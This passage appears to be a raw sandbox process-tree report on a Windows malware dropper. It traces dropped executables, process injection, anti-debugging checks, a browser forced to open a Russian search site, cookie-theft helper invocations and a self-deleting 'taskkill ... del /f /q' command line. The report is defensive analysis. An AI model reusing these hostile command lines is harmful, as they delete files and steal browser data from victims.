- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_7.exeC:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_7.exe6⤵
- Executes dropped EXE
PID:4224
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_7.exeC:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_7.exe6⤵
- Executes dropped EXE
PID:4604
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_6.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3840
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:4392
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_6.exearnatic_6.exe1⤵
- Executes dropped EXE
- Checks computer location settings
PID:2260 -
C:\Users\Admin\Documents\tk7ehLf0LShjLou7k0C1hmx4.exe"C:\Users\Admin\Documents\tk7ehLf0LShjLou7k0C1hmx4.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4684 -
C:\Users\Admin\Documents\tk7ehLf0LShjLou7k0C1hmx4.exeC:\Users\Admin\Documents\tk7ehLf0LShjLou7k0C1hmx4.exe3⤵
- Executes dropped EXE
PID:4764
-
-
C:\Users\Admin\Documents\tk7ehLf0LShjLou7k0C1hmx4.exeC:\Users\Admin\Documents\tk7ehLf0LShjLou7k0C1hmx4.exe3⤵
- Executes dropped EXE
PID:2172
-
-
-
C:\Users\Admin\Documents\QuCHHh6ZkueRIce4EXjZuAty.exe"C:\Users\Admin\Documents\QuCHHh6ZkueRIce4EXjZuAty.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4840 -
C:\Users\Admin\Documents\QuCHHh6ZkueRIce4EXjZuAty.exe"C:\Users\Admin\Documents\QuCHHh6ZkueRIce4EXjZuAty.exe"3⤵PID:5648
-
-
-
C:\Users\Admin\Documents\syyK2gfw_HnD4b8i8LELOlwH.exe"C:\Users\Admin\Documents\syyK2gfw_HnD4b8i8LELOlwH.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4344 -
C:\Users\Admin\Documents\syyK2gfw_HnD4b8i8LELOlwH.exeC:\Users\Admin\Documents\syyK2gfw_HnD4b8i8LELOlwH.exe3⤵PID:1340
-
-
-
C:\Users\Admin\Documents\_zQvjv3AUtl6lUNBMb7zXPNJ.exe"C:\Users\Admin\Documents\_zQvjv3AUtl6lUNBMb7zXPNJ.exe"2⤵PID:5016
-
C:\Users\Admin\Documents\_zQvjv3AUtl6lUNBMb7zXPNJ.exeC:\Users\Admin\Documents\_zQvjv3AUtl6lUNBMb7zXPNJ.exe3⤵
- Executes dropped EXE
PID:3812
-
-
-
C:\Users\Admin\Documents\nHwqJmnNYJh467dmbqBeGwT8.exe"C:\Users\Admin\Documents\nHwqJmnNYJh467dmbqBeGwT8.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4876
-
-
C:\Users\Admin\Documents\jilbGQM2yIbQ5o1ha0ylpuWX.exe"C:\Users\Admin\Documents\jilbGQM2yIbQ5o1ha0ylpuWX.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:192 -
C:\Program Files (x86)\Company\NewProduct\file4.exe"C:\Program Files (x86)\Company\NewProduct\file4.exe"3⤵PID:4892
-
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
PID:4400 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:5680
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
PID:6140
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6236
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:3256
-
-
-
C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
PID:4284 -
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl4⤵
- Loads dropped DLL
- Modifies registry class
PID:5868
-
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4460
-
-
-
C:\Users\Admin\Documents\GXW16sqyU7mQUdeynx1y2gk8.exe"C:\Users\Admin\Documents\GXW16sqyU7mQUdeynx1y2gk8.exe"2⤵PID:4844
-
C:\Users\Admin\Documents\GXW16sqyU7mQUdeynx1y2gk8.exeC:\Users\Admin\Documents\GXW16sqyU7mQUdeynx1y2gk8.exe3⤵
- Executes dropped EXE
PID:1784
-
-
C:\Users\Admin\Documents\GXW16sqyU7mQUdeynx1y2gk8.exeC:\Users\Admin\Documents\GXW16sqyU7mQUdeynx1y2gk8.exe3⤵
- Executes dropped EXE
PID:1008
-
-
-
C:\Users\Admin\Documents\8tamvkF3JGOozRcpkn7K4IZ2.exe"C:\Users\Admin\Documents\8tamvkF3JGOozRcpkn7K4IZ2.exe"2⤵
- Executes dropped EXE
PID:4612 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 6603⤵
- Program crash
PID:5592
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 6763⤵
- Program crash
PID:6040
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 6803⤵
- Program crash
PID:5552
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 7003⤵
- Executes dropped EXE
- Loads dropped DLL
- Program crash
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5648
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 8563⤵
- Program crash
PID:4884
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 10443⤵
- Program crash
PID:740
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 12603⤵
- Program crash
PID:4324
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 12243⤵
- Program crash
PID:1356
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 14523⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Program crash
- Suspicious behavior: EnumeratesProcesses
PID:4844
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 14323⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4588
-
-
-
C:\Users\Admin\Documents\BQCMrLjq_Pmo2vm73VbsHfRN.exe"C:\Users\Admin\Documents\BQCMrLjq_Pmo2vm73VbsHfRN.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2804 -
C:\Users\Admin\Documents\BQCMrLjq_Pmo2vm73VbsHfRN.exeC:\Users\Admin\Documents\BQCMrLjq_Pmo2vm73VbsHfRN.exe3⤵
- Executes dropped EXE
PID:4788
-
-
-
C:\Users\Admin\Documents\L2qE9eXpwD6vesUCp0zjTEOZ.exe"C:\Users\Admin\Documents\L2qE9eXpwD6vesUCp0zjTEOZ.exe"2⤵
- Executes dropped EXE
PID:3728 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --hold https://ezsearch.ru3⤵
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
PID:4328 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ff97bf04f50,0x7ff97bf04f60,0x7ff97bf04f704⤵PID:184
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1820 /prefetch:24⤵PID:4360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:14⤵PID:1980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1880 /prefetch:84⤵PID:4516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:14⤵PID:4864
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:14⤵PID:3440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3604 /prefetch:14⤵
- Executes dropped EXE
PID:4892
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:14⤵PID:2124
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:14⤵PID:4900
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4752 /prefetch:84⤵PID:5512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1868 /prefetch:84⤵PID:2132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3512 /prefetch:84⤵PID:3140
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2408 /prefetch:84⤵PID:3692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5656 /prefetch:84⤵PID:4264
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5564 /prefetch:84⤵PID:4888
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5088 /prefetch:84⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4132 /prefetch:84⤵PID:5596
-
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings4⤵PID:1000
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff63881a890,0x7ff63881a8a0,0x7ff63881a8b05⤵PID:1772
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3380 /prefetch:84⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5016
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5000 /prefetch:84⤵PID:4484
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5024 /prefetch:84⤵PID:5948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5168 /prefetch:84⤵PID:1704
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3432 /prefetch:84⤵PID:4832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5328 /prefetch:84⤵PID:3856
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5528 /prefetch:84⤵PID:5024
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5056 /prefetch:84⤵PID:5276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5608 /prefetch:84⤵PID:804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5384 /prefetch:84⤵PID:5288
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5416 /prefetch:84⤵PID:5268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4780 /prefetch:84⤵PID:5428
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5636 /prefetch:84⤵PID:6120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7136 /prefetch:84⤵PID:5204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7068 /prefetch:84⤵PID:5284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6924 /prefetch:84⤵PID:4268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6784 /prefetch:84⤵PID:496
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6536 /prefetch:84⤵PID:4120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5020 /prefetch:84⤵PID:4216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5124 /prefetch:84⤵PID:5112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4252 /prefetch:84⤵
- Executes dropped EXE
PID:5680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4812 /prefetch:84⤵PID:5776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4884 /prefetch:84⤵PID:6112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4112 /prefetch:84⤵PID:6076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6960 /prefetch:84⤵PID:6116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7984 /prefetch:84⤵
- Executes dropped EXE
PID:1340
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3724 /prefetch:84⤵PID:4564
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8108 /prefetch:84⤵PID:6092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7832 /prefetch:84⤵PID:6048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5444 /prefetch:84⤵PID:5620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8300 /prefetch:84⤵PID:5708
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7504 /prefetch:84⤵PID:4332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7440 /prefetch:84⤵PID:4468
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,5609651874898479644,5487188314732027194,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7448 /prefetch:84⤵PID:5152
-
-
-
-
C:\Users\Admin\Documents\Ce2mcMuD5AR57aLgVlnTDR60.exe"C:\Users\Admin\Documents\Ce2mcMuD5AR57aLgVlnTDR60.exe"2⤵
- Executes dropped EXE
PID:4560 -
C:\Users\Admin\AppData\Local\Temp\is-H5KAA.tmp\Ce2mcMuD5AR57aLgVlnTDR60.tmp"C:\Users\Admin\AppData\Local\Temp\is-H5KAA.tmp\Ce2mcMuD5AR57aLgVlnTDR60.tmp" /SL5="$1029E,1158062,843264,C:\Users\Admin\Documents\Ce2mcMuD5AR57aLgVlnTDR60.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3960
-
-
-
C:\Users\Admin\Documents\0_XSTRGW2QmRpZsbH5IoFNSD.exe"C:\Users\Admin\Documents\0_XSTRGW2QmRpZsbH5IoFNSD.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4924 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 0_XSTRGW2QmRpZsbH5IoFNSD.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\0_XSTRGW2QmRpZsbH5IoFNSD.exe" & del C:\ProgramData\*.dll & exit3⤵PID:5956
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 0_XSTRGW2QmRpZsbH5IoFNSD.exe /f4⤵
- Kills process with taskkill
PID:6108
